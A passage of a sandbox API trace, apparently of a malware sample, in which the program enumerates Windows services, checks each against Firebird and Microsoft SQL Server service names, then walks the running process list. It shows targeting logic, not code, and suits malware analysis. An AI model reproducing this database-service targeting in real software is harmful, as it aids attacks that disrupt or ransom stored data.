pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0291.057] CloseServiceHandle (hSCObject=0x755e90) returned 1 [0291.057] lstrlenW (lpString="Appinfo") returned 7 [0291.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0291.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0291.057] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0291.057] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0291.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0291.057] lstrlenW (lpString="AppXSvc") returned 7 [0291.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0291.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0291.057] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0291.057] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0291.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0291.057] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0291.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.057] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0291.058] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0291.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0291.058] lstrlenW (lpString="Audiosrv") returned 8 [0291.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0291.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0291.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0291.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0291.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0291.058] lstrlenW (lpString="BFE") returned 3 [0291.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0291.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0291.058] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0291.058] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0291.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0291.058] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0291.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.058] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0291.058] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0291.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0291.058] lstrlenW (lpString="CDPSvc") returned 6 [0291.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0291.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0291.058] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0291.058] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0291.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0291.058] lstrlenW (lpString="ClickToRunSvc") returned 13 [0291.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.058] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0291.058] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0291.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0291.058] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0291.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.059] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0291.059] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0291.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0291.059] lstrlenW (lpString="CryptSvc") returned 8 [0291.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0291.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0291.059] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0291.059] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0291.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0291.059] lstrlenW (lpString="DcomLaunch") returned 10 [0291.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.059] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0291.059] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0291.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0291.059] lstrlenW (lpString="DeviceAssociationService") returned 24 [0291.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.059] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0291.059] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0291.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0291.059] lstrlenW (lpString="Dhcp") returned 4 [0291.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0291.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0291.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0291.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0291.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0291.059] lstrlenW (lpString="Dnscache") returned 8 [0291.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0291.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0291.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0291.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0291.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0291.060] lstrlenW (lpString="DPS") returned 3 [0291.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0291.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0291.060] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0291.060] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0291.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0291.060] lstrlenW (lpString="DusmSvc") returned 7 [0291.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0291.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0291.060] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0291.060] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0291.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0291.060] lstrlenW (lpString="EventLog") returned 8 [0291.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0291.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0291.060] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0291.060] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0291.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0291.060] lstrlenW (lpString="EventSystem") returned 11 [0291.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0291.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0291.060] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0291.060] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0291.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0291.060] lstrlenW (lpString="FontCache") returned 9 [0291.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0291.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0291.060] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0291.060] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0291.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0291.060] lstrlenW (lpString="gpsvc") returned 5 [0291.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0291.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0291.061] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0291.061] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0291.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0291.061] lstrlenW (lpString="iphlpsvc") returned 8 [0291.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.061] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0291.061] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0291.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0291.061] lstrlenW (lpString="KeyIso") returned 6 [0291.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0291.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0291.061] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0291.061] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0291.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0291.061] lstrlenW (lpString="LanmanServer") returned 12 [0291.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0291.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0291.061] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0291.061] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0291.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0291.061] lstrlenW (lpString="LanmanWorkstation") returned 17 [0291.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.061] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0291.061] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0291.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0291.061] lstrlenW (lpString="lfsvc") returned 5 [0291.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0291.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0291.061] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0291.061] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0291.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0291.062] lstrlenW (lpString="lmhosts") returned 7 [0291.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0291.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0291.062] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0291.062] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0291.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0291.062] lstrlenW (lpString="LSM") returned 3 [0291.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0291.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0291.062] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0291.062] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0291.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0291.062] lstrlenW (lpString="MpsSvc") returned 6 [0291.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0291.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0291.062] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0291.062] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0291.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0291.062] lstrlenW (lpString="NcbService") returned 10 [0291.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0291.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0291.062] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0291.062] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0291.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0291.062] lstrlenW (lpString="netprofm") returned 8 [0291.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0291.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0291.062] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0291.062] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0291.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0291.062] lstrlenW (lpString="NgcSvc") returned 6 [0291.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0291.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0291.063] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0291.063] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0291.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0291.063] lstrlenW (lpString="NlaSvc") returned 6 [0291.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0291.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0291.063] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0291.063] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0291.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0291.063] lstrlenW (lpString="nsi") returned 3 [0291.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0291.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0291.063] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0291.063] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0291.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0291.063] lstrlenW (lpString="PcaSvc") returned 6 [0291.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0291.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0291.063] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0291.063] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0291.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0291.063] lstrlenW (lpString="PlugPlay") returned 8 [0291.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0291.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0291.063] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0291.063] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0291.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0291.063] lstrlenW (lpString="Power") returned 5 [0291.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0291.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0291.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0291.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0291.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0291.064] lstrlenW (lpString="ProfSvc") returned 7 [0291.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0291.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0291.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0291.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0291.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0291.064] lstrlenW (lpString="RpcEptMapper") returned 12 [0291.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0291.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0291.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0291.064] lstrlenW (lpString="RpcSs") returned 5 [0291.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0291.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0291.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0291.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0291.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0291.064] lstrlenW (lpString="SamSs") returned 5 [0291.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0291.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0291.064] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0291.064] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0291.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0291.064] lstrlenW (lpString="Schedule") returned 8 [0291.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0291.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0291.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0291.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0291.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0291.065] lstrlenW (lpString="SecurityHealthService") returned 21 [0291.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0291.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0291.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0291.065] lstrlenW (lpString="SENS") returned 4 [0291.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0291.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0291.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0291.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0291.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0291.065] lstrlenW (lpString="ShellHWDetection") returned 16 [0291.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.065] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0291.065] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0291.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0291.065] lstrlenW (lpString="Spooler") returned 7 [0291.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0291.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0291.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0291.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0291.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0291.065] lstrlenW (lpString="StateRepository") returned 15 [0291.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0291.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0291.065] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0291.065] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0291.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0291.066] lstrlenW (lpString="SysMain") returned 7 [0291.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0291.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0291.066] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0291.066] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0291.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0291.066] lstrlenW (lpString="SystemEventsBroker") returned 18 [0291.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.066] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0291.066] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0291.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0291.179] lstrlenW (lpString="Themes") returned 6 [0291.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0291.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0291.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0291.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0291.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0291.179] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0291.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0291.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0291.179] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0291.179] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0291.179] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0291.185] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.186] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0291.187] lstrlenW (lpString="System") returned 6 [0291.187] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0291.187] lstrlenW (lpString="smss.exe") returned 8 [0291.187] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.188] lstrlenW (lpString="csrss.exe") returned 9 [0291.188] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0291.189] lstrlenW (lpString="wininit.exe") returned 11 [0291.189] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.190] lstrlenW (lpString="csrss.exe") returned 9 [0291.190] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0291.190] lstrlenW (lpString="winlogon.exe") returned 12 [0291.190] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: 